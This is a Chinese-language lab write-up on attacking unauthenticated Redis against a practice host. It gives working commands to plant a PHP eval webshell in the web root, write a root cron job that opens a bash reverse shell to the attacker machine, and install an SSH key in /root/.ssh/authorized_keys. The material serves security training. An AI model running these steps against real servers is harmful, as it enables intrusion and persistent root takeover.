Redis未授权访问攻击
预备知识
Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库,和Memcached类似。Redis支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,Redis支持各种不同方式的排序。与Memcached一样,为了保证效率,数据都是缓存在内存中。区别的是Redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis也是一个高性能的key-value数据库。Redis的出现,很大程度补偿了Memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复 制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
Redis常用命令:
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据(慎用)
del key # 删除键为key的数据
实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100
工具安装
安装蚁剑
-
下载好后,进行解压
unzip AntSword-Loader-v4.0.3-linux-x64.zip
-
进入 AntSword-Loader-v4.0.3-linux-x64 目录
cd AntSword-Loader-v4.0.3-linux-x64
-
设置可执行权限
chmod u+x AntSword
-
启动蚁剑
sudo ./AntSword
redis连接工具安装
- 解压
tar -zxvf redis-6.0.3.tar.gz
- 进入目录
cd redis-6.0.3
- make编译
make
编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到/usr/bin 目录即可以在终端的任意目录下执行redis-cli:
cd src/
cp redis-cli /usr/bin
cd ../../
信息收集
- 通过nmap进行端口扫描,发现如下端口开放:
- 通过浏览器,查看80端口打开的服务,发现测试页面
- 二话不说,直接上目录扫描,发现phpinfo.php页面
- 发现目标存在6379端口即redis服务,尝试验证是否存在redis未授权漏洞
redis-cli -h 10.1.1.200 -p 6379
-h:指定连接的redis服务器
-p:指定redis服务器端口
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等
如上图可以看到的确存在Redis未授权访问漏洞。
漏洞利用
Redis未授权写webshell
1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mdv3XVXB-1659958705190)(https://files.catbox.moe/3rlw5o.jpg)]
通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x "<?php @eval($_POST['test']);?>" #添加一个键”x”,值为一句话木马
save #保存
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bKbVFsjM-1659958705191)(https://files.catbox.moe/v2kqjp.png)]
- 注意:设置键值为一句话木马时,可以使用如下形式:
set x “\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n”
-
解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
-
使用蚁剑连接
Redis未授权写定时任务反弹shell
1)Kali使用nc开启监听,kali终端下执行如下命令:
nc -lvvp 4433
2)执行如下命令写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存
3) 等待一分钟后得到shell
Redis未授权写SSH公钥获得shell
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。
1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:
ssh-keygen -t rsa
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gnir6eTE-1659958705193)(https://files.catbox.moe/jm8b6c.jpg)]
*ls 查看/root/.ssh目录下文件
发现文件失踪,一整个愣住
回头看命令
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcqBjkMi-1659958705194)(https://files.catbox.moe/qw5jkt.png)]
发现人蠢到一定程度真的猪都不如,我以为这是输入密码一类的东西,于是自信瞎写,回头看发现貌似是要设置一个文件夹,不设置就默认
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q51Y47AA-1659958705195)(https://files.catbox.moe/1k1qbl.png)]
回头重新定位到当前目录,果然存在一个叫970410的鬼东西
2)将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9bL8K22c-1659958705195)(https://files.catbox.moe/8dpmvm.jpg)]
检查一手,刚才一波小问题瞬间让我不敢浪了,看看写进去了啥,确认无误
3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
4)连接Redis
redis-cli -h 10.1.1.200 -p 6379
5)设置备份文件路径
config set dir /root/.ssh/
6)设置上传公钥的备份文件名字为authorized_keys
config set dbfilename "authorized_keys"
save
7)远程连接目标机器
ssh root@10.1.1.200 -i /root/.ssh/id_rsa
发现出大问题,我这边好家伙不知道为啥就是链接不上
麻爪
没办法从头再来
把机器删除,将之前错误的操作修正,让他放在默认目录下面
我用的是合天网安实验室的环境,自己大虚拟机的回复下快照就好,建议多做一些快照,方便恢复
思索
不过话说做着做着我似乎想到之前的错误了,大概率是因为搞错了文件夹然后导致本地文件夹没有公钥文件所以才不成功,话不多say,尝试一下
-
先移除文件
-
尝试连接
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HRZO42yf-1659958705198)(https://files.catbox.moe/ya3twn.png)]
连接失败,和之前一样,要求输入密码 -
然后我们把移走的文件再弄回去
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XdwbTbM6-1659958705198)(https://files.catbox.moe/w1k10s.jpg)]
成功重新连接
ps:做这玩意真的细心,不然就自己坑自己,尤其自己太菜了,都不知道错在哪里。
链接:https://www.hetianlab.com/expc.do?ec=ECID80df-3b9e-4742-8524-1843d705386c
来源:合天网安实验室